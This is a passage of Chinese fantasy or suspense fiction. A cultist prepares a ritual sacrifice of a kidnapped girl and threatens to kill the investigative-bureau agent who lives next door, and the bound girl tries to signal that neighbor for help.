“举行仪式要用的东西,我都已经准备好了,祭品也有了。”孟智杰对着通讯器说话,同时也透过眼前的镜子窥向身后墙角的麻袋,“是的,血统高贵,神肯定会喜欢。” 通话那头的声音经过了变声处理,听不出具体性别,“小心住在你隔壁的人。” 孟智杰冷笑,“缉查局那个?我见过她了。” 昨天晚上,他正忙着准备仪式用的工具,布置献祭现场。 隔壁的女人莫名其妙跑来敲门,让他安静点别打扰人睡觉。 那女的穿着睡衣,头发凌乱,四肢纤细,和外头那些弱不禁风的花瓶没什么两样。 连手无缚鸡之力的女人也能进缉查局工作。 呵呵,所谓的三大联盟筛选人才,也不过如此! “就她那种小身板,我可以一拳一个!”孟智杰不屑道,“缉查局什么的,不过是三大联盟,四大家族的走狗!她要是胆敢阻碍我的仪式,我连她一起杀!” “……你心里有数就好。”对面说。 “我得把剩下的东西处理了,回来后就举行仪式。” 孟智杰的表情变得痴迷而狂热,原本疲倦无神的双瞳也随之有了光彩。 他语气激昂,忍不住手舞足蹈,“你等着瞧好了,伟大的神一定会眷顾我。我将会是祂最忠诚的眷族!” “祝你好运。”对面的人冷冰冰地抛下一句,随即切断了通讯。 孟智杰完全不受对方影响,哼着小曲出了门。 他设想着即将到来的美妙链接,连走路的脚步都开始变得轻飘飘的。 与此同时,角落的麻袋里。 女孩的双手和双脚都被麻绳捆住,嘴里也塞了一块抹布。 自从被绑架之后,她一直很安静。 她不是没有想过逃跑,可只要不是百分百能获救的尝试,都可能导致百分百的死亡。 她在等。 压抑着惊恐,不断安慰自己会没事的,一定要有耐心。 必须等一个机会,一个能让自己逃出生天的机会。 现在这个机会终于来了,缉查局的人就住在隔壁! 确认绑架犯人离开,她立即采取行动。 手脚都被束缚无法动弹,可只要身子能动就行。 一下,两下,三下—— 她用脑袋撞墙。 救救我!